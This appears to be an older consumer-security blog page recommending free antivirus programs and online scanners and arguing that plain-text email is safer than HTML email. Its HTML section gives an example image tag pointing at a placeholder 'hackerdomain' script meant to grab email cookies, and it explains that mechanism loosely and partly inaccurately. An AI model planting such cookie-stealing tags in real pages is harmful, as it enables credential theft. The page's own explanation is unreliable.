The best free antivirus software

There are lots of free antivirus applications. These antivirus software are free and very effective too. Why do these companies give away the best antivirus free? They all have paid versions with more features that they would like you to buy.

All programs offer Windows versions.Only Avast has a version for Macs.

1. Avast Home Edition Free Antivirus :

   Avast antivirus provides a friendly user interface, while also being very customizable and feature complete. avast Home Edition includes ANTI-SPYWARE protection, , and ANTI-ROOTKIT detection based on the best-in class GMER technology
   
   Avast also does scanning on boot up if you choose to do so.
   

2. Avira Personal Free Antivirus

   Avira is another one of the best free antivirus products. But the free version gives you a basic protection against spyware, it also gives you: AntiPhishing protection ,AntiRootkit , AntiDialer ,an attractive interface.
   
   
   
   
   

3. AVG Antivirus Free Edition

   AVG is very popular antivirus software product. AVG has a friendly interface to use. AVG free edition detects both viruses and spyware.
   
   
   
   
   
   If you need a higher level of security from AVG, you can go with their paid version which gives your Web Shield and Lets you download and exchange files without risking virus infections, Advanced Anti-Rootkit protection, Game Mode protection. Or you can go further and have AVG Internet Security
   
   
4. Bitdefender 10 Free Edition
   
   This is only an on-demand scanner and doesn't offer "real time" protection, which all four of the other scanners offer. BitDefender Free Edition uses the same ICSA Labs certified scanning engines used in the payed version. I wouldn't recommend it for anyone who needs any level of regular virus protection, but it's still very fast and thorough.
   
   
5. Comodo Antivirus
   
   Comodo Firewall is very popular. Comodo antivirus is kinda new one but still effective , and gives you a good level of protection for no cost at all. Comodo Antivirus protect you against viruses, trojans , and spaywares. When you use both Coomodo Firewall and antivirus ( you get them both in the same installation package), I believe you get a higher security level than using antivirus alone.
   
   
   
   
   
   If you need more protection behind the free edition gives you, Comodo offers a pro edition which includes : antivirus + firewall+ Wi-Fi encryption + Remote tech support 24/7 for only $39
   
   

6. Microsoft Security Essentials
   

   Microsoft Security Essentials provides real-time protection for your home PC that protects you against viruses, spyware. It is a very good tool from Microsoft ans it is free :) .
   
   
   

Why reading email in plain text is better?

For many reasons HTML email message has become popular , colored fonts, embedded images ...etc. No doubt HTML makes email attractive and easier to read, but from a security standpoint , plain text is better and safer.

Why HTML-rendered email is dangerous?

1. HTML-rendered email can include invisible images, and a hacker can execute a malicious code while loading the image for example :
   
   img src="http://www.hackerdomain.com/getemailcoockie.asp"
   An image like this can be used to execute a server-side script to read your email cookie to get your password. HTML-rendered email to track the message and giving the sender the ability too know whether an email was read,when it was read, and if it is forwarded to others. Spammers use this technique to know whether an email address is valid or not, and if the recipient like to read their spam. Plain text does not support image, so this scenario cannot happen.
   
   
2. HTML-rendered email can open or download attachments to the system. Plain text email prevents email attachments from opening automatically.
   
   
3. HTML-rendered email allows miscreant marketers and criminals to obfuscate the links, making them appear to point to somewhere else other than the user expected. These techniques are common in phishing scams, which often use scare tactics to entice a user to click a link allegedly leading to their bank or a well-known eCommerce site. Instead, the link takes the user to a website controlled by the scammer. It may look and feel like the website the user expected, but it's not. And behind the scenes, their login details and personal financial information are quietly being recorded for the criminal's later use.
   In plain text email, there are no hidden commands - the link displayed is the actual link.
   

Best and free online virus scanners

Free on-demand online virus scanner which scans and automatically cleans viruses, spyware &
malware. An online virus scanner cannot be considered a replacement for an installed antivirus scanner. But you can consider it as a second option. Here is a list of the best and free online scanners:

1. BitDefender Online Scanner (IE Only):
   
   Incorporating the BitDefender award-winning scanning engines, BitDefender Online Scanner is an on-demand antivirus and antispyware tool that shows how safe your PC is. Accessible from your browser, it will scan and automatically clean the system memory, all files and drives' boot sectors.
   
   
2. Kaspersky Online Scanner:
   
   One of the best online scanners. can be configured to scan individual files, folders, and drives - or target all email related files found on local and mapped drives.
   
   
3. Tend Micro HouseCall:
   
   HouseCall can quickly identify and fix a wide range of threats including viruses, worms, Trojans, and spyware. It is now faster, more powerful and browser independent!
   
   
4. ESET Online Scanner (IE Only):
   
   ESET Online Scanner is a user friendly, free and powerful tool which you can use to remove malware from any PC utilizing only your web browser without having to install anti-virus software. ESET Online Scanner uses the same ThreatSense® technology and signatures as ESET Smart Security/ESET NOD32 Antivirus, and is always up-to-date.
   
   IMPORTANT: Administrator privileges are required to run ESET Online Scanner.
   
   
5. Symantec Online Scanner /Norton Online Scanner (IE Only):
   
   Download and install Norton Security Scan. It will automatically scan your computer every week, replacing the need for you to manually scan using Symantec Security Check. It’s quick, easy, and best of all, it’s free!
   
   
6. Comodo AV Scanner:
   
   Comodo AV Scanner is a free service that lets you quickly find out whether your computer is infected with viruses and spyware. The scanner requires the installation of a small browser plug-in. This is a one time operation and takes around 3- 4 minutes depending on your Internet connection speed.